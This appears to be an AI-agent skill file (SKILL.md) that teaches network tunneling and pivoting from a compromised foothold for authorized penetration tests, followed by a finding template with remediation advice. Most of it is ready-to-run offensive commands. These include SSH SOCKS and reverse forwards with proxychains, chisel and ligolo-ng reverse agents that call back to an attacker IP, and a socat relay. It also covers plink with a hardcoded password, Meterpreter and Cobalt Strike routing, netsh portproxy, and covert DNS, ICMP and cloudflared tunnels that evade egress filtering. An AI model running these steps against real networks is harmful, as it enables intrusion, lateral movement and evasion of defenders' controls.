performing-network-tunneling-and-pivoting

$npx mdskill add xalgord/xalgorix/performing-network-tunneling-and-pivoting

Enables access to internal networks from a compromised foothold using tunneling and pivoting techniques.

  • Solves the problem of reaching isolated internal services from an external attack box.
  • Leverages SSH, chisel, Cobalt Strike, and covert tunneling tools for network pivoting.
  • Analyzes network constraints and available egress points to select optimal tunneling methods.
  • Provides SOCKS proxies, port forwards, or full routing for scanning and exploitation tools.

SKILL.md

.github/skills/performing-network-tunneling-and-pivotingView on GitHub ↗
---
name: performing-network-tunneling-and-pivoting
description: Establishing tunnels, port forwards, and SOCKS proxies to reach internal networks from a foothold during authorized engagements - covering SSH local/remote/dynamic forwarding, proxychains, chisel, ligolo-ng, socat, plink, sshuttle, Meterpreter/Cobalt Strike routing, and covert DNS/ICMP/cloud tunnels.
domain: cybersecurity
subdomain: penetration-testing
tags:
- penetration-testing
- tunneling
- pivoting
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Performing Network Tunneling and Pivoting

## When to Use
- You have a foothold (shell, session, or creds) on a host that can reach an internal subnet you cannot reach directly from the attack box.
- A target service (RDP `3389`, WinRM `5985`, SMB `445`, SQL `1433`, web) is only reachable from the compromised host or through a DMZ.
- Egress is restricted: only outbound `443`/HTTPS or DNS is allowed, so you need a covert tunnel (cloudflared, ngrok, dnscat2, iodine, ptunnel-ng).
- You need to route a whole scanning toolchain (nmap, netexec, evil-winrm) through one pivot.

## Critical: Techniques Most Often Missed
- **SOCKS over SSH (`-D`) + proxychains for the whole toolkit** — the highest-leverage pivot, frequently skipped in favor of single port forwards.
  ```bash
  ssh -f -N -D 1080 user@<compromised_ip>     # dynamic SOCKS proxy on local 1080
  echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf
  proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
  ```
  - How to CONFIRM: `proxychains curl -s http://<internal_ip>` returns data, and `ss -tlnp | grep 1080` shows the local listener.
- **`-Pn -sT` is mandatory through SOCKS** — ICMP and SYN scans cannot be tunneled through a SOCKS proxy, so ping discovery and raw SYN scans silently fail or lie.
  - How to CONFIRM: a `-sT` scan returns open ports where a default `nmap` returned "host down".
- **GatewayPorts for remote forwards** — `ssh -R` only binds to loopback on the victim unless `GatewayPorts yes` is set in `/etc/ssh/sshd_config`, so reverse shells to an internal IP fail.
  ```bash
  ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@<dmz_host> -vN
  # send a rev shell to dmz_internal_ip:443, catch it on localhost:7000
  ```
  - How to CONFIRM: `ss -tlnp` on the victim shows `443` bound to the internal interface, not just `127.0.0.1`.
- **Terrapin (CVE-2023-48795)** — an MITM can inject data into any forwarded channel (`-L`/`-R`/`-D`). Confirm both ends run OpenSSH >= 9.6 before trusting an SSH tunnel.
- **Proxychains DNS leak / wrong resolver** — proxychains tunnels `gethostbyname` through SOCKS but defaults to the hardcoded resolver `4.2.2.2`. In an internal env, set the DC as the resolver (edit `/usr/lib/proxychains3/proxyresolv`) so internal names resolve.

## Workflow

### Step 1: Map reachability and pick a transport
```bash
# From the foothold, find what the pivot host can reach
for p in 445 3389 5985 1433 22; do (echo > /dev/tcp/10.10.17.25/$p) >/dev/null 2>&1 && echo "$p open"; done
# Decide: SSH available -> use -L/-R/-D ; no SSH -> drop chisel/ligolo agent ; egress filtered -> covert tunnel
```

### Step 2: SSH port forwarding (local, remote, dynamic)
```bash
# LOCAL forward: attacker_port -> compromised -> third_box:port
ssh -i ssh_key user@<compromised_ip> -L <attacker_port>:<victim_ip>:<remote_port> -N -f
sudo ssh -L 631:<victim_ip>:631 -N -f -l <user> <compromised_ip>

# REMOTE forward: open a port on the SSH server pointing back inward
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1   # local 1521 -> exposed as 10521
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1    # remote 1521 -> exposed as 10521

# DYNAMIC forward: full SOCKS proxy (use as proxychains backend)
ssh -f -N -D <attacker_port> user@<compromised_ip>

# VPN-over-SSH (root both sides, PermitTunnel/PermitRootLogin yes)
ssh root@server -w any:any
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 && ip link set tun0 up
```

### Step 3: Agent-based pivots when SSH is unavailable
```bash
# chisel reverse SOCKS (same version both ends)
./chisel server -p 8080 --reverse                       # attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks         # victim -> SOCKS on 1080
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505  # single port

# ligolo-ng (same version agent/proxy) - tun-based, no proxychains needed
sudo ./proxy -selfcert                                  # attacker
interface_create --name "ligolo"                        # attacker console
./agent -connect <ip_proxy>:11601 -v -accept-fingerprint <fingerprint>   # victim
session                                                 # then select agent
tunnel_start --tun "ligolo"
interface_add_route --name "ligolo" --route <network>/<netmask>

# sshuttle - route a whole subnet transparently over SSH
sshuttle -r user@host 10.10.10.0/24
sshuttle -D -r user@host 0/0 --ssh-cmd 'ssh -i ./id_rsa'

# socat relay / reverse SSL backdoor / port redirect
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

# plink (Windows victim, reverse forward back to attacker SSH)
echo y | plink.exe -l root -pw password -R 9090:127.0.0.1:9090 10.11.0.41
```

### Step 4: C2 framework routing and Windows-native forwards
```bash
# Meterpreter local port forward
portfwd add -l <attacker_port> -p <remote_port> -r <remote_host>
# Meterpreter autoroute + SOCKS
run post/multi/manage/autoroute SUBNET=10.1.13.0
use auxiliary/server/socks_proxy; set VERSION 4a; run     # SOCKS on 1080
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf

# Cobalt Strike beacon SOCKS / reverse port forward
beacon> socks 1080
beacon> rportfwd [bind port] [forward host] [forward port]

# Windows netsh portproxy (needs local admin)
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
netsh interface portproxy show v4tov4
```

## Key Concepts
| Concept | Description |
|---------|-------------|
| **Local forward (`-L`)** | Bind a port on the attacker that tunnels to a target reachable from the pivot. |
| **Remote forward (`-R`)** | Bind a port on the pivot/SSH server that tunnels back to the attacker or inward; needs `GatewayPorts yes` for non-loopback binds. |
| **Dynamic forward (`-D`)** | Turns the SSH session into a SOCKS proxy so any tool can reach the whole reachable network via proxychains. |
| **SOCKS limitation** | ICMP/SYN cannot traverse SOCKS; always scan with `-Pn -sT`. |
| **Reverse vs forward agent** | Reverse pivots (chisel `R:socks`, ligolo agent) start from the victim and beat inbound firewall rules. |
| **tun-based pivot** | ligolo-ng / SSH `-w` create routed interfaces, avoiding per-port forwarding and proxychains. |
| **Covert channel** | DNS (dnscat2/iodine), ICMP (hans/ptunnel-ng), or HTTPS edge (cloudflared/ngrok) for restricted egress. |
| **Terrapin (CVE-2023-48795)** | SSH handshake downgrade enabling injection into forwarded channels; patch to OpenSSH >= 9.6. |

## Tools & Systems
| Tool | Purpose |
|------|---------|
| **ssh / sshuttle** | Local/remote/dynamic forwarding, VPN-over-SSH, transparent subnet routing. |
| **proxychains** | Force arbitrary TCP tools through a SOCKS proxy; tunnels DNS via `gethostbyname`. |
| **chisel** | HTTP-based reverse/forward TCP & SOCKS tunnel (match client/server version). |
| **ligolo-ng** | TUN-interface reverse tunnel with routes and listeners; no proxychains. |
| **socat** | TCP/SSL relays, reverse shells, SOCKS redirects, proxy bypass. |
| **plink.exe / netsh** | Windows SSH client reverse forwards; native `portproxy` (needs admin). |
| **Meterpreter / Cobalt Strike** | `portfwd`, `autoroute`, `socks_proxy`, beacon `socks`/`rportfwd`. |
| **cloudflared / ngrok / frp** | Outbound-443 tunnels to bypass ingress ACLs/NAT. |
| **dnscat2 / iodine / ptunnel-ng / hans** | DNS and ICMP covert tunnels for heavily filtered egress. |
| **rpivot / reGeorg** | SOCKS over NTLM proxy; SOCKS through an uploaded web tunnel (aspx/jsp/php). |

## Common Scenarios
### Scenario 1: Reach internal RDP via SSH SOCKS
A Linux foothold can reach `10.10.17.25:3389` but the attack box cannot. `ssh -f -N -D 1080 user@foothold` opens a SOCKS proxy; `proxychains xfreerdp /v:10.10.17.25` reaches RDP, and `proxychains nmap -Pn -sT` maps the rest of the subnet.

### Scenario 2: No SSH, reverse pivot with ligolo-ng
A Windows host has no SSH but can call out to the attacker. The ligolo agent connects back, the operator runs `tunnel_start` and `interface_add_route` for the internal `/24`, then tools on the attack box reach internal services directly through the routed `ligolo` interface.

### Scenario 3: HTTPS-only egress, covert exit via cloudflared
Egress allows only `443`. `cloudflared tunnel --url socks5://localhost:1080 --socks5` exposes an outbound SOCKS proxy through Cloudflare's edge, and proxychains routes traffic out without any inbound firewall change.

## Output Format
```
## Tunneling / Pivoting Finding

**Technique**: SSH dynamic forward (SOCKS) pivot
**Pivot host**: 10.10.14.8 (compromised foothold, user: svc-app)
**Reached network**: 10.10.17.0/24 (previously unreachable from attack box)
**Severity**: High
**Finding**: Foothold permits unrestricted lateral access to the internal server segment
**Evidence**:
  - `ssh -f -N -D 1080 svc-app@10.10.14.8` -> SOCKS listener on 127.0.0.1:1080
  - `proxychains nmap -Pn -sT -p445,3389,5985 10.10.17.25` -> 445,3389,5985 open
  - `proxychains evil-winrm -i 10.10.17.25 -u admin` -> shell on internal host
**Impact**: A single compromised host bridges the perimeter into the protected server VLAN, enabling lateral movement to domain infrastructure.
**Recommendation**:
  1. Enforce egress filtering and host-based firewall rules limiting outbound/lateral connections from the foothold.
  2. Segment and ACL the internal VLAN; restrict management ports (3389/5985/445) to jump hosts.
  3. Patch SSH to OpenSSH >= 9.6 (Terrapin) and disable unused forwarding (`AllowTcpForwarding no`, `GatewayPorts no`).
  4. Monitor for SOCKS/long-lived SSH sessions and anomalous DNS/ICMP volume indicating covert tunnels.
```

More from xalgord/xalgorix